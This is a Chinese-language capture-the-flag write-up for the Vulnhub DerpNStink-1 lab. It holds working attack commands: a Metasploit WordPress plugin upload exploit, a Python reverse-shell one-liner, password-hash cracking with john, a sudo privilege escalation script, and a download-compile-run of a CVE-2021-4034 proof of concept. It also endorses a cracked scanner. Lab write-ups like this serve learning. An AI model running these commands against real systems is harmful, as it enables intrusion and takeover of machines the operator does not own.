Vulnhub百个项目渗透——项目七:DerpNStink-1 (sql注入,流量分析)
靶场环境 提取码:rong
系列专栏:Vulnhub百个项目渗透
欢迎关注点赞收藏⭐️留言
首发时间:2022年8月22日
作者水平很有限,如果发现错误,还望告知,感谢!
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
代码如下:
ifconfig //用来查看自己的IP
namp 192.168.247.0/24 -sP //用来扫描同网段所有存活主机,注意最后是0
这个IP是你ifconfig出来的IP
nmap -p- 192.168.247.134 //扫描开放端口,找服务
(服务越多,我们越应该兴奋,因为服务多代表漏洞越多,越好下手)
一般来说,结尾是1或2或255的一般是你的网关设备,所以基本可以排除
这里我们看到了三个开放服务,端口号分别是21,20,80,对应了ftp,ssh,http三个服务。我们简要的猜测,分析一下,只有这三个服务,那么可能存在突破点也就是三个大方面:
代码集合:
1. 利用curl访问web页面信息:
curl http://192.168.247.134
2.按照网页提示写入hosts
vim /etc/hosts //打开hosts文件,很基础的命令,一定要记住
3.枚举子域名
dirb http://derpnstink.local/
4.扫描
wpscan --url http://derpnstink.local/weblog/ //wpscan扫描
5.msf利用
msfconsole
search Slideshow Gallery
use exploit/unix/webapp/wp_slideshowgallery_upload
options
set rhosts 192.168.247.134
set targeturi /weblog
set wp_user admin
set wp_password admin
run
6.拿shell,进内网/主机
nc -vlp 6677 //在本机上开启6677的端口,来准备接受反弹回来的shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.247.129",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
//
//在靶机上执行,将url部分替换即可,这句话可以收藏起来,python一句话反弹shell,当然msf也可以
//我只是觉得亲手日的话比较爽
python -c 'import pty; pty.spawn("/bin/bash")'
//这是linux的两种终端中的一种,要看个人选择,不过我推荐这一种,因为可以挂起shell
//如果你的命令带颜色就是还没有换过来,需要重启终端
ctrl+z //挂起
stty raw -echo //照着输
fg //这个fg看不到,不过你回车以后就会给你一个惊喜的
我们一定要敏锐,因为很多信息泄露就在这种看着很头疼的东西之中。
这就得到了一个url,下意识地,我们应该去访问一下
得到了第一个flag
访问之前得到的那个目录,翻译了一下,是要让我们做本地host
因为我们现在还不知道给什么域名做hosts,我们就先不要慌,去访问一下,看看有没有跳转,一般需要做host的地方都是有这个站,但是你访问不了,你就要考虑一下做host了
访问192.168.247.134/weblog //这是日志的意思,也是基本意识
发现跳转到了http://derpnstink.local/weblog/
显而易见,给这个站做本地化
vim /rtc/hosts //打开hosts文件,很基础的命令,一定要记住
打开hosts文件,按照图片,IP于域名之间要有空格
同样是下意识地,看到了WP,我们应该第一时间想到wordpress的cms,有了已知cms,我们就已经成功了一大半
同样的我们也看见了一个phpadmin的目录,这个按理来说也可以是一个突破口,但是这个靶场这个地方打的是cms,我就不作演示了,有兴趣的小伙伴可以利用php版本漏洞,谷歌搜索一下exp来进行利用。
我们去访问这个红框框起来的目录,因为看到了admin就应该像李云龙的部队一样——嗷嗷叫的野狼,打开了呢是一个登陆界面,然后这里给大家推荐一个博主做的弱口令集合,很好用,wordpress的弱口令登录就是里面找的。
或者利用九头蛇工具爆破,但是没必要,因为很多wp都存在弱口令的,人家要真是认真改密码了你用几头蛇都没用,除非你自己做社工自己做密码可能能成。
但是登陆了以后里面啥也没有,这一个方向我们剩下的只有扫描。这是成功性最大的方案了
https://blog.csdn.net/qq_41262248/article/details/118578054
wpscan扫描,扫出来没结果,我们要去官网免费注册下载一个密钥然后调用,但是我们有更强的AWVS,而且有破解版,嘿嘿~~
上面这幅图就是拿到稳定shell的流程
就看红框里的yes或者no,其他不管
根据刚才AWVS扫出来的存在漏洞的插件,我们调用msf来进行利用
同样的,最基本的一点就是输入options,根据选项后面写的yer或者no填写信息,这都是常识哈
1.首先找root
grep "root" -rn wp-config.php /*这里应该扩大范围的,但我知道wp站一
般很多重要信息都在wp-config中,所以就直接搞了,小伙伴们实操的话不能这么想当然*/
2.爆破得到的密码
echo '$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41' > 2.txt //把密码写入到一个txt文本
john 2.txt --wordlist=/usr/share/wordlists/rockyou.txt /*rockyou字典要自己下载,
目录页是自己的下载目录,记得改*/
3.扩大搜索范围,尝试登陆主机
cat /etc/passwd //背下来,就这样搜索用户
4.登陆主机
su stinky
wedgie57 //隐藏输入,看不到直接回车就行
ls //一系列信息收集,就不说了
5.ssh尝试登陆
chmod 400 key.txt //400就是-rwx
ssh -i key.txt stinky@192.168.4.58 //就是这么写的相信我
6.流量文件分析
kali执行:
nc -l -p 8888 > derp.pcap
靶场执行:
nc 192.168.253.138 8888 < derpissues.pcap //这两步是用来传递文件的,没啥特殊含义
wireshark derp.pcap //分析流量文件
1)tcp.stream eq 48 //tcp追踪 如果追踪UDP就改即可
或者:
2)frame contains mrderp /login //查看流量中登录信息
或者:
3)http.request.method == "POST" //过滤查看POST请求信息打开双击查看
7.再次登录
8.sudo提权 //这里面很简单,不过可以去再深究一下,sudo提权以及suid提权
mkdir binaries
cd binaries
echo "/bin/bash" >> derpy.sh
chmod +x derpy.sh
sudo ./derpy.sh
9.exp提权 =========exp执行非常简单我就不做了因为还得恢复快照,我懒
wget https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c
//kali执行,下载exp
python -m http.server 8081
//kali执行。python3改版了注意,这是kali开启服务
wget http://192.168.4.55:8081/cve-2021-4034-poc.c
//靶机执行,从kali手里下载过来
gcc cve-2021-4034-poc.c -o rong
//靶机执行,gcc编译一下
chmod +x rong
//给它一个权限才能执行
./rong
//执行
不管是拿到什么机器的shell,第一件事永远是去到家目录进行信息收集,cd ~就可以回到家目录,常识要会
这里的话我发现了mysql的root登录,那么就回到我们一开始目录遍历出的phpmyadmi中尝试登陆
果不其然登陆成功,那么我们就在phpmyadmin中进行再一次的信息收集
这个地方的话没啥好说的,都是图形化界面,你也可以用最上面的sql执行一些命令,看看有啥库,多转转,现实渗透中,那些配置文件啥的,说不定就被你转到了(前提是你还没被BT打掉)
把刚才那个hash的密码爆破了以后我们又得到了一套新的用户,我们就要去尝试登录登录,得到了第二个flag,那么下一步应该干嘛?当然是进一步扩大搜索范围:也就是,尝试登陆主机
我们在刚刚利用msf拿到的shell上搜索一下存在的用户,看看我们得到密码的两位先生在不在里面
结果就是万事胜意,他们两都在,那么看到这里我们就有了两种办法:
1.ftp登录
2.su 用户名 登录
随便你选一个,不过有时候用户登录只能在127.0.0.1,随机应变吧
这里我用su登录
老生常谈的东西,新到一个地方首先要信息收集(去家目录)
还用说吗
我在家目录里看到了敏感的ssh文件夹,就一路跟了下去,发现了一个key.txt
以后我就叫李云龙的野狼
根据显示,这应该是一个ssh的密钥,因为采用的rsa,不过不能完全确定
赌一赌,单车变摩托嘛,搞起
但我没搞起,显示的只能用指纹登录,应该是操作问题,不过不影响,我还有一个备胎账号
我带着悲愤的心情再次回到家目录苦苦寻找,找到一个流量文件
这个地方有一个流量文件绝对不是无意的,我们要分析一下它,首先要知道三点
- 流量文件有什么?
- 流量文件怎样快速查找?
- 有什么注意事项?
答案都在下面wp里,自己分析吧~
一般来说,正常的站点都会用get头来发一些ua头啊这样的无关紧要的信息,而账号密码这样的信息就会用post方式来传输,所以我们在最上面输入一行命令,就可以筛选。
1)tcp.stream eq 48 ---tcp追踪 如果追踪UDP就改即可
或者:
2)frame contains mrderp /login ---查看流量中登录信息
或者:
3)http.request.method == "POST" ---过滤查看POST请求信息打开双击查看
再点开我左边框起来的下三角,就可以看到log信息了,然后就发现了备胎账号的密码
然后登录,信息收集(家目录)······
发现了一个log文件,cat打开瞅一眼,发现看不懂
接下来的知识点很重要!!!!!!!!
善于利用谷歌搜索exp,poc以及翻译(一定记住)
汉语再看不懂我也没法啦~
非常显然地告诉我们可以sudo提权,那么现在摆在我们面前的无非就是,那个目录可以sudo提权呢?
如果不知道那就再深入一点——访问一下信息中的url
知道目录了
翻译一下
sudo提权利用一下,没有目录就新建目录,最后再来一个以那个derpy开头的可执行文件
然后执行它即可
1.信息收集一定要细致,一点点翻,要有耐心。
2.新去到一个主机,一定要到家目录去找,看能不能找到点有用的东西。
3.好好利用谷歌
4.我困了,晚安